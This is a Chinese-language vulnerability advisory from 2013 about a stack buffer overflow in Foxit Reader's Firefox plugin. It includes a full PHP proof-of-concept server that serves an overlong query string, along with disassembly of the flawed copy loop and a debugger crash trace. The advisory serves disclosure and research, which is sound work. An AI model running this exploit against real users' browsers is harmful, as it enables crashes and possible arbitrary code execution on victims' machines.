发布日期：2013-01-04
更新日期：2013-01-08

受影响系统：

Foxit Foxit Reader <= 5.4.4.1128

描述：

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BUGTRAQ  ID: 57174

Foxit Reader是一款小巧的PDF阅读器。

Foxit Reader npFoxitReaderPlugin.dll是Firefox的插件，npFoxitReaderPlugin.dll在copy字符串时没有正确检查缓冲区边界，导致存在栈溢出漏洞 。攻击者通过诱使用户打开包含超长查询串的特制文件，可达到使应用程序崩溃，甚至执行任意代码的目的。

<*来源：rgod （rgod@autistici.org）
  
  链接：http://xforce.iss.net/xforce/xfdb/80988
        http://www.exploit-db.com/exploits/23944/
*>

测试方法：

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警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

<?php
/*
Foxit Reader <= 5.4.4.1128 Plugin for Firefox npFoxitReaderPlugin.dll Overlong
Query String Remote Stack Buffer Overflow PoC --------------------------- rgod

(listener)

Tested against Microsoft Windows
Mozilla Firefox 17.0.1
Foxit Reader 5.4.3.0920
Foxit Reader 5.4.4.1128

File: npFoxitReaderPlugin.dll
Version: 2.2.1.530

Product url: http://www.foxitsoftware.com/downloads/
Last version setup file: FoxitReader544.11281_enu_Setup.exe

Usage:
Launch from the command line, then browse port 6666 with Firefox.
You can test it also through this url:

http://192.168.0.1/x.pdf?[A x 1024]

File must be existing or the server should be responding with
the proper Content-Type header.

vulnerable code, npFoxitReaderPlugin.dll:

;------------------------------------------------------------------------------
L1000162F:
        push    ebx
        push    esi
        push    edi
        mov edi,ebp
        or  ecx,FFFFFFFFh
        xor eax,eax
        xor ebx,ebx
        xor esi,esi
        repne scasb
        not ecx
        dec ecx
        test    ecx,ecx
        jle L100016E4
L1000164A:
        mov al,[esi+ebp]
        mov word ptr [esp+18h],0000h
        cmp al,25h
        jz  L10001661
        mov ecx,[esp+1Ch]
        mov [ebx+ecx],al
        jmp L100016CE
L10001661:
        mov al,[esi+ebp+01h]
        cmp al,30h
        jl  L1000166D
        cmp al,39h
        jle L1000167D
L1000166D:
        cmp al,41h
        jl  L10001675
        cmp al,46h
        jle L1000167D
L10001675:
        cmp al,61h
        jl  L100016C6
        cmp al,66h
        jg  L100016C6
L1000167D:
        mov dl,[esi+ebp+01h]
        inc esi
        inc esi
        lea ecx,[esp+10h]
        mov [esp+18h],dl
        push    ecx
        mov al,[esi+ebp]
        lea edx,[esp+1Ch]
        push    L100450D4
        push    edx
        mov [esp+25h],al
        call    SUB_L10006421
        mov eax,[esp+1Ch]
        lea ecx,[esp+24h]
        push    eax
        push    L100450D0
        push    ecx
        call    SUB_L100063CF
        mov eax,[esp+34h]
        mov dl,[esp+30h]
        add esp,00000018h
        mov [ebx+eax],dl
        jmp L100016CE
L100016C6:
        mov ecx,[esp+1Ch]
        mov byte ptr [ebx+ecx],25h
L100016CE:
        inc ebx
        mov edi,ebp
        or  ecx,FFFFFFFFh
        xor eax,eax
        inc esi
        repne scasb
        not ecx
        dec ecx
        cmp esi,ecx
        jl  L1000164A
L100016E4:
        mov edx,[esp+1Ch]
        pop edi
        pop esi
        mov eax,00000001h
        mov byte ptr [ebx+edx],00h
        pop ebx
        pop ebp
        pop ecx
        retn
;------------------------------------------------------------------------------

this copy loop ends up in overwriting stack pointers, then
(by attaching to plugin-container.exe):

(f48.1778): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0076ed4c ebx=00000341 ecx=002cf414 edx=002cf414 esi=41414141 edi=0076e9e8
eip=10016852 esp=002cf3f8 ebp=75eacdf8 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
npFoxitReaderPlugin!NP_GetEntryPoints+0x15672:
10016852 8906            mov     dword ptr [esi],eax  ds:0023:41414141=????????
...
Attempt to write to address 41414141
...

also SEH pointers are overwritten
*/

error_reporting(0);

set_time_limit(0);

$port = 6666;

$____redirect = "HTTP/1.1 301 Moved Permanently\r\n".
                "Server: Apache\r\n".
                "Location: /x.pdf?".str_repeat("A",1024)."\r\n".
                "Content-Type: text/html\r\n\r\n";

$____boom     = "HTTP/1.1 200 OK\r\n".
                "Server: Apache\r\n".
                "Accept-Ranges: bytes\r\n".
                "Content-Length: 60137\r\n".
                "Content-Type: application/pdf\r\n".
                "Connection: keep-alive\r\n\r\n";

$socket = stream_socket_server("tcp://0.0.0.0:".$port, $errno, $errstr);

if (!$socket) {
  echo "$errstr ($errno)\n";
} else {
  echo "Listening on public tcp port ".$port." \n";
  while ($conn = stream_socket_accept($socket)) {
    $line=fgets($conn);
    echo $line."\n";
    if (strpos($line,".pdf")){
      fwrite($conn,$____boom);
    }
    else {
      fwrite($conn,$____redirect);
    }
    fclose($conn);
  }
  fclose($socket);
}
?>

建议：

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厂商补丁：

Foxit
-----
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://www.foxitsoft.com/wac/server_intro.php

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